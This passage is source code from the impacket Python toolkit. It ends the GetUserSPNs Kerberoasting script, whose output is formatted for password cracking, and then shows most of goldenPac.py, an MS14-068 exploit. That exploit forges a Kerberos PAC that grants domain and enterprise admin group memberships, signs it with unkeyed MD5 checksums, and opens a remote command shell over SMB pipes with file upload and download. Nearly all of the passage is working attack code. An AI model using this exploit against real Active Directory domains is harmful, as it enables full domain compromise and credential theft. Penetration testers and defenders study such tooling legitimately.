help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
# This is because I'm lazy with regex
# ToDo: We need to change the regex to fullfil domain/username[:password]
targetParam = options.target+'@'
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.save is True or options.outputfile is not None:
options.request = True
try:
executer = GetUserSPNs(username, password, domain, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
print str(e)
impacket-0.9.15/examples/goldenPac.py 0000700 0000765 0000000 00000152006 12734531507 017542 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first!
# Well done :).
# This one also established a SMBConnection and PSEXEcs the
# target.
# A few important things:
# 1) you must use the domain FQDN or use -dc-ip switch
# 2) target must be a FQDN as well and matching the target's NetBIOS
# 3) Just RC4 at the moment - DONE (aes256 added)
# 4) It won't work on Kerberos-only Domains (but can be fixed)
# 5) Use WMIEXEC approach instead
#
# E.G:
# python goldenPac domain.net/normaluser@domain-host
# the password will be asked, or
#
# python goldenPac.py domain.net/normaluser:mypwd@domain-host
#
# if domain.net and/or domain-host do not resolve, add them
# to the hosts file or use the -dc-ip and -target-ip parameters
#
import random
import string
import logging
from binascii import unhexlify
from impacket.examples import logger
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER
from impacket.dcerpc.v5.dtypes import ULONG, RPC_SID, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY, MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
NULLGUID, DRS_EXT_RECYCLE_BIN
from impacket.structure import Structure
################################################################################
# CONSTANTS
################################################################################
# From http://msdn.microsoft.com/en-us/library/aa302203.aspx#msdn_pac_credentials
# and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862
PAC_LOGON_INFO = 1
PAC_CREDENTIALS_INFO = 2
PAC_SERVER_CHECKSUM = 6
PAC_PRIVSVR_CHECKSUM = 7
PAC_CLIENT_INFO_TYPE = 10
PAC_DELEGATION_INFO = 11
PAC_UPN_DNS_INFO = 12
################################################################################
# STRUCTURES
################################################################################
PISID = PRPC_SID
# 2.2.1 KERB_SID_AND_ATTRIBUTES
class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT):
structure = (
('Sid', PISID),
('Attributes', ULONG),
)
class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
item = KERB_SID_AND_ATTRIBUTES
class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):
referent = (
('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
)
# 2.2.2 GROUP_MEMBERSHIP
from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY
# 2.2.3 DOMAIN_GROUP_MEMBERSHIP
class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT):
structure = (
('DomainId', PISID),
('GroupCount', ULONG),
('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
)
class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
item = DOMAIN_GROUP_MEMBERSHIP
class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
referent = (
('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
)
# 2.3 PACTYPE
class PACTYPE(Structure):
structure = (
('cBuffers', ' 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, TGS=None, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.TGS = TGS
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans)
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = string.replace(f,'/','\\')
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname, fh.read)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
def run(self):
self.connectPipe()
shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
shell.cmdloop()
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (
('Data', PKERB_VALIDATION_INFO),
)
def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
copyFile=None, writeTGT=None, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00'*16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00'*16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('